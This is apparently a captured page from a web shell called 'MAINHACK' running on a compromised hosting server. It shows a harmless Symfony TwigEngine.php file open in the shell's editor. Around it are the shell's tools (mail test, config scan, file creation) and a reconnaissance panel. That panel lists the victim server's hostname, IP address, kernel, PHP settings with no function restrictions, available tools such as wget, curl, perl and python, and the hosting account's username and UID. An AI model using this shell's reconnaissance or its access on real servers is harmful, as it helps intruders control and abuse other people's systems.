[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: TwigEngine.php
File is not writable. Editing disabled.
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Bridge\Twig; use Symfony\Component\Templating\EngineInterface; use Symfony\Component\Templating\StreamingEngineInterface; use Symfony\Component\Templating\TemplateNameParserInterface; use Symfony\Component\Templating\TemplateReferenceInterface; /** * This engine knows how to render Twig templates. * * @author Fabien Potencier <fabien@symfony.com> */ class TwigEngine implements EngineInterface, StreamingEngineInterface { protected $environment; protected $parser; /** * Constructor. * * @param \Twig_Environment $environment A \Twig_Environment instance * @param TemplateNameParserInterface $parser A TemplateNameParserInterface instance */ public function __construct(\Twig_Environment $environment, TemplateNameParserInterface $parser) { $this->environment = $environment; $this->parser = $parser; } /** * {@inheritdoc} * * It also supports \Twig_Template as name parameter. * * @throws \Twig_Error if something went wrong like a thrown exception while rendering the template */ public function render($name, array $parameters = array()) { return $this->load($name)->render($parameters); } /** * {@inheritdoc} * * It also supports \Twig_Template as name parameter. * * @throws \Twig_Error if something went wrong like a thrown exception while rendering the template */ public function stream($name, array $parameters = array()) { $this->load($name)->display($parameters); } /** * {@inheritdoc} * * It also supports \Twig_Template as name parameter. */ public function exists($name) { if ($name instanceof \Twig_Template) { return true; } $loader = $this->environment->getLoader(); if ($loader instanceof \Twig_ExistsLoaderInterface) { return $loader->exists((string) $name); } try { // cast possible TemplateReferenceInterface to string because the // EngineInterface supports them but Twig_LoaderInterface does not $loader->getSource((string) $name); } catch (\Twig_Error_Loader $e) { return false; } return true; } /** * {@inheritdoc} * * It also supports \Twig_Template as name parameter. */ public function supports($name) { if ($name instanceof \Twig_Template) { return true; } $template = $this->parser->parse($name); return 'twig' === $template->get('engine'); } /** * Loads the given template. * * @param string|TemplateReferenceInterface|\Twig_Template $name A template name or an instance of * TemplateReferenceInterface or \Twig_Template * * @return \Twig_TemplateInterface A \Twig_TemplateInterface instance * * @throws \InvalidArgumentException if the template does not exist */ protected function load($name) { if ($name instanceof \Twig_Template) { return $name; } try { return $this->environment->loadTemplate((string) $name); } catch (\Twig_Error_Loader $e) { throw new \InvalidArgumentException($e->getMessage(), $e->getCode(), $e); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server290.web-hosting.com
Server IP: 162.0.232.250
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux server290.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
HDD Total: 93.04 GB
HDD Free: 67.73 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: afiencwd
User ID (UID): 821
Group ID (GID): 802
Script Owner UID: 821
Current Dir Owner: N/A